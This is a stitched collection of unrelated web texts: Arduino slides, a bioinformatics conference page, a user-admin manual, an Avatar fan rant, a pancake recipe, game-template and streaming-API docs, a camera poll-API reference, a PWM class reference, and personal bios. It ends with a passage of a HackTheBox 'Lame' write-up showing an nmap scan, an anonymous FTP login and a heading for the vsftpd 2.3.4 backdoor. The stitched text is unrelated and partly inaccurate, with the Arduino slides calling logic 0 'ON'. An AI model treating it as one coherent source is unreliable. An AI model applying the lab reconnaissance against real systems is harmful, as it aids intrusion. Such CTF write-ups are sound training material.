--- template: default-page layout: false # UNO Board Features ### Power - Can be powered from USB port (<0.5A) - External power from DC jack 6V ~ 12V - Power outputs: 0 (GND), 3.3V, 5.0V (up to 0.3A), Vref (5V) ### Digital Input/Output pins - Can be configured as Input, Output or Pull-Up Inputs - Has .blue[Pulse-Width-Modulation] on .blue[~] indicated Pins - Built-in LED on Pin13 ### Analog Inputs - 10-bit Analog inputs ### Others - Serial I/O interface - I2C interface - SPI interface --- template: default-page layout: false # Programming - Getting Started
- Saved as .blue[Sketches] (.ino) - Follows most characteristics of C++ programming - Always has 2 functions: - setup() - code only executed .blue.bold[once] - loop() - code continuously loops --- template: default-page layout: false # setup() - Executed only .blue.bold[ONCE] after each powerup or reset of the UNO. - UNO is automatically reset after each successful sketch upload - Contains - initialization code - initialization of variables - setup and configuration of I/O ports - setup of other interfaces ###Tip: Use identifiers to name your I/O pins, it makes programming and code recognition much easier. --- template: default-page layout: false # loop() - The loop() function is executed .blue[after] the setup() code completes. - Loops .blue[infinitely] executing code within the loop() function. - Place your code/program within this function, there is .blue.bold[NO] stopping this code ###Tips: - Arduino code is loosely based on C++ (actually Processing) - Follow good C++ programming habits: - use comments - indent your code - use uppercase to denote constants or defines - name your variables intelligently --- template: default-page layout: false # Digital Input/Output - ATMega328 has 14 digital I/O Pins - labelled pin0 to pin13 - Pin0(Tx), Pin1(Rx) are assigned as Serial I/O - Pin3, Pin5, Pin6, Pin9, Pin10 and Pin11 have PWM functionality - Digital values - 0 (0 V, GND, ON, LOW) - 1 (5 V, Vcc, OFF, HIGH - typically > 3.3 V) - Some pins are .blue[multifunctional], i.e. have different functions depending on how they are initialised. - inputs (default) - inputs with pull-up resistors - outputs - Pulse Width Modulation outputs - Arduino provides .blue[useful library functions] simplifying these operations - pinmode() - initialises the pin - digitalRead() - reads/inputs a digital value - digitalWrite() - outputs a digital value - analogWrite() - outputs a PWM --- template: default-page layout: false # Digital Output ### Let's blink (turn ON/OFF) the on-board LED
- .blue[pinMode()] initialises pin13 to be an .blue[OUTPUT] pin - .blue[digitalWrite()] outputs a 0 or a 1 alternately - delay of 1 second to allow us to view the result --- template: default-page layout: false # Using an External LED ### Let's blink an external LED
Use [TinkerCAD](https://www.tinkercad.com/) to simulate! - need to .blue[WIRE-up] the circuit - requires a .blue[current-limiting] resistor - change the pin to .blue[8] - Compile, Upload, Execute! --- template: default-page layout: false # Input with a Pushbutton Switch ### Let's display status of the switch .left-column-50[
- Using on-board LED (pin13) as output. - Switch is connected to pin10 - Requires a 10K pull-up resistor ] .right-column-50[ ```cpp #define LED 13 #define SW 10 void setup(){ pinMode(LED, OUTPUT); pinMode(SW, INPUT); } void loop(){ int state = digitalRead(SW); if (state == HIGH){ digitalWrite(LED, HIGH); } else { digitalWrite(LED, LOW); } delay(200); } ``` ] ### Input is .blue[more] complicated than this example. --- template: default-page layout: false # Serial Monitor ### It's difficult to know what's happening on the CPU - Connection problems ? - Device I/O problems ? - Response ? ### Purpose - PC->Arduino sends data (commands) from PC to board - Arduino->PC receives data from Arduino board and displays on the screen - data monitoring - debugging - Data exchanged using the USB cable --- template: default-page layout: false # Serial Monitor ### Activation button
### Serial Monitor Screen
--- template: default-page layout: false # Let's Monitor the Blink Sketch .left-column-50[ ### Method - Initialise the Serial Transmission - Useful Serial methods: - Serial.begin(.blue[baud rate]) - Serial.print() - Serial.pritnln() - Run & Monitor result
] .right-column-50[ ```cpp #define LED 8 void setup(){ pinMode(LED, OUTPUT); Serial.begin(9600); Serial.println("Ready..."); } void loop(){ digitalWrite(LED, LOW); delay(1000); Serial.print("OFF"); digitalWrite(LED, HIGH); delay(1000); Serial.println("\t ON"); } ``` ] --- class: center, middle # Getting Started with Arduino ### [End]


--- layout: page title: Contact permalink: "/contact/" comments: false ---
Thank you for your interest in getting in touch with us. Please send your message here. We will reply as soon as possible!


The International Conference on Genome informatics GIW2020 (aka Genome Informatics Workshop) is the longest running international bioinformatics conference. Providing a forum for the exchange of ideas and the results in computational and statistical aspects of life sciences in general and genomics in particular. GIW2020 will be held at National Cheng Kung University, Tainan, Taiwan for the second time, eight years after the very well received GIW2012. This site will be updated as more details become available. As an interdisciplinary conference GIW is about joining communities. Potential organizers of satellite meetings or special sessions are encouraged to contact us.
Chair: Tsunglin Liu (National Cheng Kung University)
Co-Chairs: Prof. Paul Horton, and Prof. Jung-Hsien Chiang (National Cheng Kung university)
GIW2020 invites high-quality original full papers on any topic related to Bioinformatics and Computational Biology, but not limited to, the following topics:
Venue
For our visitors who do not hold an Taiwan passport, it may be useful to check out the latest visa information from the Taiwan Government’s Department of Home Affairs: https://www.taiwan.gov.tw/3818.php
For visitors who would like to obtain formal invitation letters for visas (in PDF format), please e-mail a request to Sina Abdollahi<EMAIL_ADDRESS>along with the following personal information:


Users
Managing Users
Managing users is done by accessing the Users > Search Users function in the control panel menu.
From this interface you can add new users and search, edit, or delete the existing users. For an overview of searching,
adding, editing, and deleting items, please see the Control Panel Basics section of this software manual.
Database Fields
Users have the following fields associated with them:
Individual Functions
-
Username - The account's username. Usernames may contain English letters, numbers, and the underscore (_) character
Password - The account's password. Passwords are hashed using a one-way algorithm and cannot be recovered. When editing an account, leave this field empty unless you want to change the account password.
E-mail Address - The account's e-mail address
Date Created - The date and time that this account was created
Status - The account status (one of Submitted, Pending, Active or Disabled) (see below)
User Level - The account user level
Avatar - The user's uploaded avatar (image)
Name - The user's name
Birthday - The user's birthday
Gender - The user's gender (one of Male or Female)
Relationship - The user's relationship status (one of Single, Taken or Open)
About Me - Information about this user
Website URL - The URL of the user's website
Hometown - The town in which the user grew up
Current City - The city in which the user is currently located
Postal Code - The postal code in which the user is currently located
Current Country - The country in which the user is currently located
Occupations - Jobs that the user has had
Companies - Companies for which the user has worked
Schools - Schools which the user has attended
Hobbies - Hobbies and interests that the user has
Favorite Shows/Movies - The user's favorite movies and/or TV shows
Favorite Music - The user's favorite musicians and/or genres
Favorite Books - The user's favorite books and/or genres
Besides the Common Functions available for most items, users also have some custom functions that can be run. The icons that appear for each user in
the Search Users interface are described below.
Bulk Functions
-
- View the videos this user has uploaded. This will take you to the Search Videos interface which will display
only the videos uploaded by this user.
- Approve this user. This will only be available for users with Pending status. Approving a user will change the user's status to Active and send the email-user-approved.tpl e-mail message to the user who submitted this user (if any)
- Reject this user. This will only be available for users with Pending status. Rejecting a user will delete the user from the database permanently and send the email-user-rejected.tpl e-mail message to the user who submitted this user (if any)
When you reject a user you also have the option to select a rejection reason. There will be a drop-down selection list that you can choose from. To setup these reasons, use the Search Reasons interface.
- Enable this user. This will only be available for users with Disabled status. Enabling a user will change it's status back to Active and the user will be able to login to rate, comment, upload, etc.
- Disable this user. This will only be available for users with Active status. Disabling a user will change it's status to Disabled and the user will no longer be able to login.
Besides the Common Functions available for most items, users also have some custom functions that can be run. The icons that appear in the toolbar
which can be run on multiple users at once are covered below.
User Status
-
- Approve the checked or matching users. Only users with Pending status will be affected by this function.
Approving a user will change the user's status to Active and send the email-user-approved.tpl e-mail message to the
user
- Reject the checked or matching users. Only users with Pending status will be affected by this function. Rejecting a user will delete the user from the database permanently and send the email-user-rejected.tpl e-mail message to the user
- Enable the checked or matching users. Only users with Disabled status will be affected by this function. Enabling a user will change it's status back to Active and the user will be able to login.
- Disable the checked or matching users. Only users with Active status will be affected by this function. Disabling a user will change it's status to Disabled and the user will not be able to login.
Users can have one of 4 values for their status, depending on how they have been processed and what software settings you are using.
-
Submitted - These are user accounts that have been registered but not yet confirmed by e-mail. You will get Submitted users when you
have the All new user accounts must be confirmed by e-mail software setting enabled.
Pending - These are user accounts that have been registered but not yet approved by an administrator. These users will not be able to login until they have been approved. You will get Pending users when you have the Review new user accounts software setting enabled.
Active - These are users which are currently able to login
Disabled - These are users that have been disabled by an administrator. Disabled users will remain in your database, but will not be able to login. Disabled users can only be re-activated by an administrator.


The movie is wack. D'nt come in my house talking about them blue aliens. Avatar has four nations. Aang is the combination of it. Avatar is the best avatar their ever was and also do not step foot in my house talking about that korra. Shortly before the beginning of the Hundred Year War, Aang was frozen in an iceberg for a hundred years; he later emerged, still biologically twelve years old, into a world engulfed by war.[3] During his absence, the Fire Nation had waged war upon the other nations and managed to completely wipe out the pacifistic Air Nomads. It fell to Aang, the Avatar and the last airbender, to end the War by mastering the other three elements and defeating Fire Lord Ozai.
Well there was kuruk he never took any thing siriously He never even took practicing water bending seriously Until some spirit coackroach came along and killed his wife. Next was kiosi who was an earth bender All i can say is she was to interested in muder. After that was roku these guy said one word and for 100 years their was a war Then he tried to prevent it and failed terribly. Then we have yangcheng i mean i cant say any thing bad about her because she gave wisdom to her future lives and she did her part of the job well. Now we have Aang after roku he had to stop the war find love dill with genocide(kiling a whole nation) and learn all four bendings.
 Because even though right now you may think its just floating rocks. Did you know that if you know if your an earth bender you can lava bend Did you know that if you know if your an earth bender you can metal bend. Fire bending came from the dragons technically and Did you know that if you have fire bending you can lighiting bend and Did you know that if you know if your a fire bender you can ridirect it lightning. Did you know that air bending can be use in many ways even bloking you from falls With and controling tornadoes and even fight. Water bending is controlling water even the water in the air You can water bend from plants and from plantes and trees and : Did you know if you are a water bender since water is in the body you can blood bend.
The avatar after him was korra. Why i do not like her is because she masterd the elements to fast and she used the avatar state for a race. Second she is to rough. Third tenzin bumi (katara) (aangs wife ) and kaiya are G's. And i dont like it because because until you 18 years you can not finish the show.


Hello and welcome to my website. This website intends to be both some sort of about/contact as well as show off some of my projects.
Erik is the name. Guy who interest in problem solving, creating software and some third option to be rhetorical correct. This guy grew up in Stockholm, Sweden and lived there until turning 19 and it was time for university studies. I studied at Blekinge Institute of Technology(BTH) with the program specific Software Engineering which focuses on problem solving with the intention to produce great quality software to the customer both as indivudals and as team.
No, i'm a terrible programmer.
Smokesignals: dial puff-wait-wait-puff-puff-slowpuff-wait. This is the fastest form of communication as i will get back to you within 3 years.
If you're feeling insecure about the level of encryption of the smoke signal, you can use this PKP-key.
Vim or emacs


1 1/4 cups all-purpose flour
3/4 cup cornmeal
1 tablespoon sugar
1 teaspoon cinnamon
1 teaspoon baking powder
1/2 teaspoon baking soda
Pinch of salt
1 cup low-fat buttermilk
2 large eggs, beaten
1/4 cup olive oil
1/4 cup water
Directions
Step 1
In a bowl, whisk the flour with the cornmeal, sugar, cinnamon, baking powder, baking soda and salt. In
a bowl, whisk the buttermilk with the eggs, olive oil and water. Whisk the liquid ingredients into the
dry ingredients, leaving small lumps.
Step 2
Set a griddle or skillet over moderate high heat and spray it with vegetable oil spray. When the pan is
hot, spoon in 1/4-cup mounds of batter and spread to form 4-inch rounds. Cook the pancakes until the
bottoms are browned and bubbles appear on the surface, 2 minutes. Flip and cook until browned on the
bottom, 1 to 2 minutes longer. Serve the pancakes warm.


Introduction
9-verb MI-Style is a template that allows you to recreate those classic SCUMM games.
If you like to create a game with this template, you have to re-think some concepts, you usually use when creating a game with AGS.
The two new concepts are: event handling and default actions, using extensions.
Let’s take a look at the event handling, or in other words: stuff that happens after you have clicked on something. Normally you create a function for each event of an object, a hotspot etc. Functions like cup_Interact() or cup_Look(). Using this template you only need one the any click event. Inside these functions you distinguish between the different interactions. So a typical any_click function looks like this:
function cup_AnyClick()
{
// LOOK AT
if(UsedAction(eGA_LookAt)) {
player.Say("It's a blue cup.");
}
// USE
else if(UsedAction(eGA_Use)) {
player.Say("I'd rather pick it up.");
}
// PICKUP
else if(UsedAction(eGA_PickUp)) {
player.Say("Okay.");
any_click_walk_look_pick(108, 100, eDir_Up, "You are now mine.",oCup.ID, iCup);
}
//USE INV
else if(UsedAction(eGA_UseInv)) {
Unhandled();
}
// don't forget this
else Unhandled();
}
The function “any_click_walk_look_pick” is explained in the scripting reference. any_click_walk_look_pick
So you see, everything is inside a single function, instead 4 seperate functions. Also instead of checking the cursormodes, the function UsedAction is called to determine the event/action. The current defined actions are:
eGA_LookAt, eGA_TalkTo, eGA_GiveTo, eGA_PickUp, eGA_Use, eGA_Open, eGA_Close, eGA_Push, eGA_Pull,eGA_UseInv, eMA_Default and eMA_WalkTo
For inventory items, it’s a little bit different, because there is no any_click event in the room editor. So you first start with “other click on inventory item”, which creates the function iCup_OtherClick (in case you have an item, called iCup). Now copy this function name and paste it at other events, like Interact, look, talk and so on. In the end, you only have one function name in all five events. You can also take a look at the sample items.
The second main aspect of the GUI are the extensions. You add an extension to a location (Hotspots, Objects etc.) by editing its description.
For example, let’s take an object. In the sample room, the object is called oCup and the description is simply “Cup”. When move the cursor over this cup and no extension is defined, the default action will be “look at”. Also the corresponding verb button in the gui starts to highlight. Now we can change this behaviour with adding an angeled bracket, followed by one of the following letters:
- n: nothing / default
- g: give to
- p: pick up
- u: use
- o: open
- l: look at
- s: push
- c: close
- t: talk to
- y: pull
- v: variable extension
- e: exit
Let’s give oCup the description “Cup>p”. Now the right-click action has changed. If you now move the mouse on the cup, the verb button “Pick Up” is highlighted. If you right-click the object, the any_click function from above is called. It checks for the used action and will perform the chosen action. Extensions are also explained in the function reference.
The last thing you should know about, is the global variable “ItemGiven”. If you like to give an item to a character, use this variable to check, which item has been given. For example:
if (UsedAction(eGA_GiveTo))
{
if (ItemGiven == iCup)
{
player.Say("Do you want this Cup?");
cBman.Say("No, thank you.");
}
else if (ItemGiven == iKey)
{
player.Say("Is that your key?");
cBman.Say("Of course. You have it from me.");
}
else Unhandled();
}
else Unhandled();
If you need to use “ItemGiven” in other scripts than the global one, you need to import it manually. It’s not defined via global variable pane inside the AGS editor.
Using Inventory Items
There are currently three ways of using an inventory item, you can choose from.
- “Use” only
For this, you need to add the use-extention “>u” to the description of the item and an event function for “Interact inventory item”. If you have followed the instructions in this manual you probably already have it there. This option might come handy for a watch. Clicking on it always gives you the current time. You can not give it away or use it with different items.
- “Use” and “Use with”
Here you need to remove the use-extension from the description, but still keep the event function. This allows the player to directly use the item by clicking on the “use”-verb first. Directly clicking the items results in “use-with”. Sticking to the watch-example: using the watch with the verb-button sets an alarm. Clicking directly on it in the inventory results in “use with”, so you can use the watch with a shelf to hide it there. But please note that it might be hard for the player to understand, that using the verb button and using the inventory directly are two different things.
- “Use with” only
For the last option, you need to remove the use-extension and remove the event function. Yep, that’s right: on the right side of “Interact inventory item” is no function at all. If you then use the item, whether it’s via the verb-button or a direct click, the action always stays “use with”.
Exit Extensions
As of version 1.1 you can add an exit extension to hotspots and objects. Clicking on such a hotspot will make the player walk to it and change the room afterwards. There are several advantages compared to the usual methods like ‘screen edges’ or stand-on hotspot functions:
- works with objects and vertical hotspots (like cave entrances)
- supports double click to skip the walking
- optional walking off the screen: if you set the exit hotspot towards a screen edge, you can make the player leave the screen and change the room after that.
This is how it works: First of all create your hotspot and let it have the ‘>e’ extension. Now switch over to the events (that little flash) and add the Usermode_1 hotspot event. Eventually you’ll end in the room script with a function called ‘hExit_Mode8’. In that function, all you have to do is to script the room change. e.g.
player.EnterRoom(1, 76, 111, eDir_Right, true);
This function is almost similar to the AGS function player.ChangeRoom, you can look it up in the function reference below. If you want the player to leave the screen, you have to change the extension of the hotspot. These ones are possible:
- el: left
- er: right
- eu: up
- ed: down
If you have an exit on the right side of your screen and want the player to leave the screen on that side, your hotspot description should be called:
Exit>er
Now the character will walk to the clicked location and keeps on walking for another 30 extra pixels. That offset can be changed in the script header. If you simply call your hotspot:
Exit>e
No additional walking will occur. This is useful for exits not being at the screen border. There’s also an example in the second room of the demo template.
Language & Translation
Currently (v 1.4) the GUI supports German, French, Spanish and Portuguese. If you like to help translating this template, please drop me a PM at the AGS Forums.
If you like to create your game in a different language than english, you need to set it up. At guiscript.asc you’ll find the line:
int lang = eLangEN;
At the time of writing, valid values are: eLangEN, eLangES, eLangFR and eLangDE. Setting this variable to one of these values will translate all your GUIs, including all provided dialogs. The unhandled events will stay unchanged however. Those are still needed to be changed directly. To switch the language in a .trs translation file, tell your translators to look out for the line.
GUI_LANGUAGE
Now simply translate that line with DE, EN, ES, FR or PT to set the GUI to the corresponding language.


IBM® Streams is an advanced analytic platform that allows user-developed
applications to quickly ingest, analyze and correlate information as it arrives from
thousands of real-time sources. Streams can handle very high data throughput rates,
millions of events or messages per second.
With this API Java & Scala developers can build streaming applications that can be
executed using IBM Streams, including the processing being distributed
across multiple computing resources (hosts or machines) for scalability.
An application is represented by a
{@link com.ibm.streamsx.topology.Topology}
object containing instances of {@link com.ibm.streamsx.topology.TStream}.
The Java interface {@link com.ibm.streamsx.topology.TStream TStream
Streams are created (sourced), transformed or terminated (sinked) generally though functions, where a function is represented by an instance of a Java class with a single method. Frequently, these functions are implemented by anonymous classes specific to an application, though utility methods may encapsulate one or more functions. Here is an example of filtering out all empty strings from stream {@code s} of type {@code String}
TStream<String> s = ...
TStream<String> filtered = s.filter(new Predicate<String>() {
@Override
public boolean test(String tuple) {
return !tuple.isEmpty();
}} );
{@link com.ibm.streamsx.topology.TStream#filter s.filter()} is passed an instance of
{@link com.ibm.streamsx.topology.function.Predicate}, and sets up a filter
where the output stream {@code filtered} will only contain tuples from the
input stream {@code s} if the method {@code test()} returns {@code true}.
This implementation of {@code Predicate}, provided as an anonymous class,
returns true if the input tuple (a {@code String} object) is not empty.
At runtime, every {@code String} tuple that appears on {@code s} will result in a
call to {@code test}, if the {@code String} tuple is not empty, then {@code filtered} will
contain the {@code String} tuple.
TStream<String> s = ...
TStream<String> filtered = s.filter(tuple -> !tuple.isEmpty());
Since Scala interoperates with Java classes, applications are implemented in Scala by having the code simply call the Java Application API. A set of implicit conversions are provided to support use of Scala functions in stream transformations. See the Scala documentation under {@code com.ibm.streamsx.topology/doc/scaladoc/index.html}.
The API is provided as as an SPL toolkit {@code com.ibm.streamsx.topology} containing the Java API in {@code lib/com.ibm.streamsx.topology.jar} as well as the SPL operators used to execute the Java functional transformations.
| Feature | Reference | Since |
|---|---|---|
| Tuple types are Java and/or Scala objects. | {@link com.ibm.streamsx.topology.TStream} | 1.0 |
| Functional programming, streams are transformed, filtered etc. by functional transformations implemented as Java and/or Scala functions. A Java function is an implementation of interface with a single method, or when using Java 8 a lambda expression or a method reference. | {@link com.ibm.streamsx.topology.TStream} | 1.0 |
| Execution within the Java virtual machine, IBM Streams 4.0.1+ Streams standalone or distributed & IBM Bluemix | {@link com.ibm.streamsx.topology.context.StreamsContext} | 1.0 |
| Pipeline topologies. | {@link com.ibm.streamsx.topology.Topology} | 1.0 |
| Fan-out, multiple independent functions may be applied to a single stream to produce multiple streams of different or the same type. | {@link com.ibm.streamsx.topology.TStream} | 1.0 |
| Fan-in, multiple independent streams of the same type may transformed by a single function to produce a single stream. | {@link com.ibm.streamsx.topology.TStream#union union} | 1.0 |
| Window based aggregation and joins, including partitioning. | {@link com.ibm.streamsx.topology.TWindow} | 1.0 |
| Parallel streams (UDP, User Defined Parallelism), including partitioning. | {@link com.ibm.streamsx.topology.TStream#parallel parallel} | 1.0 |
| Topic based publish-subscribe stream model for cross application communication (Streams dynamic connections). | {@link com.ibm.streamsx.topology.TStream#publish publish}, {@link com.ibm.streamsx.topology.Topology#subscribe subscribe} | 1.0 |
| Ability to specify where portions of the topology will execute in distributed mode, including running on resources (hosts) with specified tags. | {@link com.ibm.streamsx.topology.context.Placeable}, {@link com.ibm.streamsx.topology.TStream#isolate isolate}, {@link com.ibm.streamsx.topology.TStream#lowLatency lowLatency} | 1.0 |
| Integration with Apache Kafka and MQTT messaging systems | {@link com.ibm.streamsx.topology.messaging.kafka.KafkaConsumer Kafka}, {@link com.ibm.streamsx.topology.messaging.mqtt.MqttStreams MQTT} | 1.0 |
| Testing of topologies, including those using SPL operators, while running in distributed, standalone or embedded. | {@link com.ibm.streamsx.topology.tester.Tester} | 1.0 |
| Integration with SPL streams using SPL attribute schemas. | {@link com.ibm.streamsx.topology.spl.SPLStream} | 1.0 |
| Invocation of existing SPL primitive or composite operators. | {@link com.ibm.streamsx.topology.spl.SPL} | 1.0 |
A topology may be arbitrarily complex, including multiple sources and sinks, fan-out on any stream by having multiple functional transformations or fan-in by creating a {@link com.ibm.streamsx.topology.TStream#union union} of streams with identical tuple types.
Creating the {@code Topology} and its streams as instances of {@code TStream} just declares how tuples will flow, it is not a runtime representation of the graph. The {@code TStream} is submitted to a {@link com.ibm.streamsx.topology.context.StreamsContext} in order to execute the graph.


NOTE: Slightly different base URL: https://eagleeyenetworks.com/ (no trailing "/g/")
The poll service provides a mechanism for an application to receive notifications of events or spans from the Eagle Eye service. These entities are grouped by resource. There are six main resources:
- thumb - Thumbnail resource. Provides a timestamp for a thumbnail image. One can use the timestamp to grab the actual thumbnail image.
- pre - Preview resource. Provides a timestamp for a preview image. One can use the timestamp to grab the actual preview image.
- video - Video resource. Provides a start and end timestamp of a video event.
- event - Event resource. Provides full event information.
- status - A bitmask flag defining the state of a bridge or a camera.
- registry - A boolean field determining if a camera or bridge became registered.
Events can come from lots of sources:
- Devices or Cameras (camera alerts, start and stop recording, etc.)
- System Events (maintenance, server changes)
- Account Events (other user changes, account alerts, layout changes).
Device and Camera events include, on, off, online, offline, currently recording, currently sensing motion, start/stop schedule event, being controlled with PTZ)
This service will continually be extended. Any UI should not care about stuff that it does not understand.
Poll is a stateful request for updates any time a matching event occurs within the service. The initial poll request is a POST with a JSON formatted body indicating the resources to track. Resources that are video, pre, and thumbnail automatically register the api caller to their respective events. However, resource type ‘event’ requires the api caller to tell the API what events to listen for.
Each object consists an id element and a list of resource types to be monitored. The POST transaction receives an immediately responds with a JSON formatted body indicating the current timestamp for all requested resources. The response also includes a cookie, which can be used to track changes to the indicated resources via GET transaction.
Each resource type has a specific object format in response:
| Type |
Response |
Notes |
| video |
[startts, endts] |
List of start, end Timestamps for video segment. Updates at start and per key frame received until end. |
| thumb |
thumbts |
Timestamp of latest thumbnail image |
| pre |
prets |
Timestamp of latest preview image |
| registry |
boolean |
True is returned if a camera/bridge becomes registered. False if the camera/bridge becomes unregistered. |
| status |
bitmask |
A numerical bitmask defining the status. Bit position defines status:
| Bit (LSB) |
Status |
| 0 |
Camera registered to EEVBS (DEPRECATED) |
| 1 |
Camera Online (DEPRECATED) |
| 2 |
Camera On (User Setting) (DEPRECATED) |
| 3 |
Camera Recording (DEPRECATED) |
| 4 |
Camera Sending Previews |
| 5 |
Camera Located |
| 6 |
Camera Not Supported |
| 7 |
Camera Configuration in Process |
| 8 |
Camera Needs Password |
| 9 |
Camera Available But Not Attached |
| 10 |
Reserved Bit |
| 11 |
Camera Error |
| 12 |
Reserved Bit |
| 13 |
Reserved Bit |
| 14 |
Reserved Bit |
| 15 |
Reserved Bit |
| 16 |
Invalid |
| 17 |
Camera On |
| 18 |
Streaming |
| 19 |
Recording |
| 20 |
Registered |
This status bit mask is used to determine what the high-level/overall camera status is, using the following logic:
IF "Camera On" (bit 17)==0 THEN "Off" (orange forbidden icon)
ELSE IF "Registered" (bit 20)==0 THEN "Internet Offline" (red exclamation icon)
ELSE IF "Streaming" (bit 18)==1 THEN "Online" (green check icon)
ELSE IF "Password" (bit 8)==1 THEN "Password Needed" (effectively "Offline") (red padlock icon)
ELSE "Offline" (red X icon)
Recording status uses the following logic:
IF "Recording" (bit 19) THEN Recording (green circle icon)
IF "Invalid" (bit 16)==1 THEN no status change (use whatever status bits were set previously)
|
| event |
event: event object |
Events are a key value pair, where the key is the four CC of the event, and event structure are the actual meta data for that specific event. Available events:
| Four CC |
Description |
| VRES |
Video start event |
| VREE |
Video end event |
| VRKF |
Video key frame event |
| VRSU |
Video update event |
| PRSS |
Preview stream start event |
| PRTH |
Thumbnail event |
| PRFR |
Preview event |
| PRSE |
Preview stream end event |
| PRSU |
Preview stream update event |
| EMES |
Motion start event |
| EMEE |
Motion end event |
| ESES |
Event stream start |
| EVVS |
Video swap event |
| ESEE |
Event stream stop |
| ECON |
The camera is online |
| ECOF |
The camera is offline |
| AELI |
Account event log in |
| AELO |
Account event log out |
| AEDO |
Download video event |
| AEUC |
Create user event |
| AEUD |
Delete user event |
| AECC |
User config change event |
| AELD |
Live display event |
| AEPT |
Pan tilt zoom event |
| AAEC |
Layout create event |
| AEED |
Layout delete event |
| AEEL |
Layout change event |
| AEAC |
Account create event |
| AEAD |
Account delete event |
| AEAH |
Account change event |
| AEDC |
Device create event |
| AEDD |
Device delete event |
| AEDH |
Device change event |
| CECF |
Camera found event |
| CSAT |
Camera stream attach event |
| CSDT |
Camera stream detach event |
| COFF |
Camera off event |
| CONN |
Camera on event |
| COBC |
Camera bounce event |
| CSTS |
Camera settings event |
| CSTC |
Camera settings change event |
| CPRG |
Camera purge event |
| CDLT |
Camera data lost event |
| CBWS |
Camera bandwidth sample event |
| BBWS |
Bridge bandwidth sample event |
| AEDA |
Device alert event |
| AEDN |
Device alert notification event |
| MRBX |
Motion Box event |
| MRSZ |
Motion size reports |
| ROMS |
Region of interest motion start |
| ROME |
Region of interest motion end |
| ALMS |
Alert Motion Start |
| ALME |
Alert Motion End |
| ALRS |
Alert Region Of Interest Start |
| ALRE |
ALert Region Of Interest End |
|
| | |


BOM Weather Status
by Mark Kuo
View my GitHub
Using following open source projects:
Electron
node-auto-launch
menubar
bootstrap


| | |
- __builtin__.object
-
- BasePWM
class BasePWM(__builtin__.object) |
| |
A class for creating PWM type peripherals.
BasePWM implements methods to interact with a PWM interface. Platforms are
expected to subclass BasePWM and provide platform specific implementations of
_enable, _disable, _set_duty_cycle, and _set_frequency_hz.
Attributes:
_enabled: Boolean. Whether or not the PWM is enabled.
_output_pin: DigitalOutput. The DigitalOutput GPIO pin being used for PWM.
_duty_cycle. Float from 0.0 to 100.0. The current duty cycle as a percent.
_frequency_hz: Float. The current PWM frequency in Hertz. |
| |
Methods defined here:
- __init__(self, output_pin)
- Creates a PWM output.
Args:
output_pin: A DigitalOutput to use for PWM output.
- disable(self)
- Disables the PWM output.
- enable(self)
- Enables the PWM output.
- set_duty_cycle(self, duty_cycle)
- Sets the duty cycle of the PWM output.
Args:
duty_cycle: Float from 0.0 to 100.0. Duty cycle to set the PWM output to.
Raises:
ValueError: Thrown if duty_cycle is not between 0.0 and 100.0
- set_frequency_hz(self, frequency_hz)
- Sets the PWM frequency used for PWM output.
Args:
frequency_hz: Float. The frequency to set the PWM output to.
Raises:
ValueError: Thrown if the frequency is negative.
Data descriptors defined here:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
- duty_cycle
- Gets the current value for the PWM output's duty cycle.
Returns:
The current duty cycle as a float.
- frequency_hz
- Gets the current frequency used by the PWM output.
Returns:
The current frequency in Hertz as a float.
- is_enabled
- Checks if the PWM output is enabled.
Returns:
True if the PWM output is enabled, Flase otherwise.
- pin_number
- Gets the pin number of the PWM output.
Returns:
The pin number as an integer.
Data and other attributes defined here:
- __abstractmethods__ = frozenset(['_disable', '_enable', '_set_duty_cycle', '_set_frequency_hz'])
- __metaclass__ = <class 'abc.ABCMeta'>
- Metaclass for defining Abstract Base Classes (ABCs).
Use this metaclass to create an ABC. An ABC can be subclassed
directly, and then acts as a mix-in class. You can also register
unrelated concrete classes (even built-in classes) and unrelated
ABCs as 'virtual subclasses' -- these and their descendants will
be considered subclasses of the registering ABC by the built-in
issubclass() function, but the registering ABC won't show up in
their MRO (Method Resolution Order) nor will method
implementations defined by the registering ABC be callable (not
even via super()).
| |


_About Me
BIO
I'm a final year Computer Science Engineering student at Maharaja Surajmal Institute of Technology. I'm into competitive coding (C++) and web development (JS). I'm a MEAN Stack Developer and I like Burgers. No, Burgers is not a Javascript Framework, I mean not yet.
EXPERIENCE
FlexiEle Consulting Services Pvt. Ltd.
Associate Technology Intern | Jun 2019 - Present
I worked as a Full-Stack Development Intern on the FlexiEle’s ERP Software which is being developed on the MyEAN Stack. Apart from being constantly involved in the development process, one of my major responsiblities was to build and integrate the Letter Management Module which includes facilities such as creating letters, filling data in them dynamically and publishing these letters in PDFs, DOCX & HTML formats.
Proctur - Pocket Classroom
Front-end Web Development Intern | Jan 2018 - Mar 2018
I worked in the Front-End Team of Proctur on their Web Application built in Angular. My responsibilities included implementing new designs received from the designing team. I also built the Image Uploader cum Cropper module from scratch and helped in implementing the draggable widgets on the home screen.
IEEE MSIT Computer Society
Chairperson (2019-20) | Formerly Vice-Chairperson (2018-19)
As the Chairperson, I’m responsible for organisation of all the events, sessions, bootcamps, talks and contests under IEEE MSIT CS. I also encourage and guide students to make projects which can actually solve a real world problem, something that people around them can use. One of the best things about Computer Science is the great, helping and humble community it has to offer. Giving back to the community and helping each other grow has been my motto.


HackTheBox - lame
Recon
As usual, let’s run nmap to see what we are up against ~~
export TARGET=<IP_ADDRESS>
sudo nmap -T4 -p- -A -oA nmap_tcp $TARGET
Here’s a summary of nmaps' results (only open ports are included, the last column is completed when I have results):
| Port | Service | Version | Vulnerable? |
|---|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 | no |
| 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | maybe? |
| 139/tcp | netbios-ssn | Samba smbd 3.X – 4.X (workgroup: WORKGROUP) | yes |
| 445/tcp | netbios-ssn | Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) | yes |
| 3632/tcp | distccd | distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) | yes |
Services
21/tcp vsftpd 2.3.4
Anonymous login
Anonymous login is enabled, let’s see if we have anything interesting on the ftp:
$ ftp <IP_ADDRESS>
Connected to <IP_ADDRESS>.
220 (vsFTPd 2.3.4)
Name (<IP_ADDRESS>:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
Nothing to see here, moving along!
vsftpd 2.3.4 backdoor exploit
That version of vsftpd is vulnerable to a backdoor exploit:
